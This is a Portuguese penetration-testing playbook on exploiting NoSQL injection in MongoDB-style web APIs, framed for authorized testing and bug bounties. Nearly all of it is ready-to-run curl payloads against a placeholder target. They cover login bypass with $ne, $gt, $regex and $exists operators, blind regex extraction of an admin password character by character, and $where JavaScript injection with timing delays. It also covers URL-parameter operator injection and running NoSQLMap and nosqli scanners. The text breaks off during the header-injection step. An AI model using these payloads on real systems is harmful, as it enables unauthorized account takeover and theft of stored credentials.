Explorando Vulnerabilidades de Injeção NoSQL

Quando Usar

• Durante testes de penetração em aplicações web que utilizam bancos de dados NoSQL
• Ao testar mecanismos de autenticação suportados por MongoDB ou bancos de dados similares
• Ao avaliar APIs que aceitam entrada JSON para consultas ao banco de dados
• Durante a caça a bugs em aplicações com backends NoSQL
• Ao realizar revisão de código de segurança na construção de consultas ao banco de dados

Pré-requisitos

• Burp Suite Professional ou Community Edition com suporte a JSON
• Ferramenta NoSQLMap instalada (pip install nosqlmap ou do GitHub)
• Compreensão dos operadores de consulta do MongoDB ($ne, $gt, $regex, $where, $exists)
• Aplicação alvo utilizando um banco de dados NoSQL (MongoDB, CouchDB, Cassandra)
• Proxy configurado para interceptação de tráfego HTTP
• Python 3.x para scripts de payload personalizados

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Injeção NoSQL

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Passo 2 — Realizar Bypass de Autenticação

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Passo 3 — Extrair Dados Usando Injeção Cega Baseada em Booleano

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Passo 4 — Explorar Injeção de JavaScript via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Passo 5 — Usar NoSQLMap para Testes Automatizados

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Passo 6 — Testar Injeção de Parâmetros de URL

# Injeção baseada em parâmetros (requisições GET)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Injeção de array via parâmetros de URL
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Injetar via cabeçalhos HTTP se processados pelo backend

…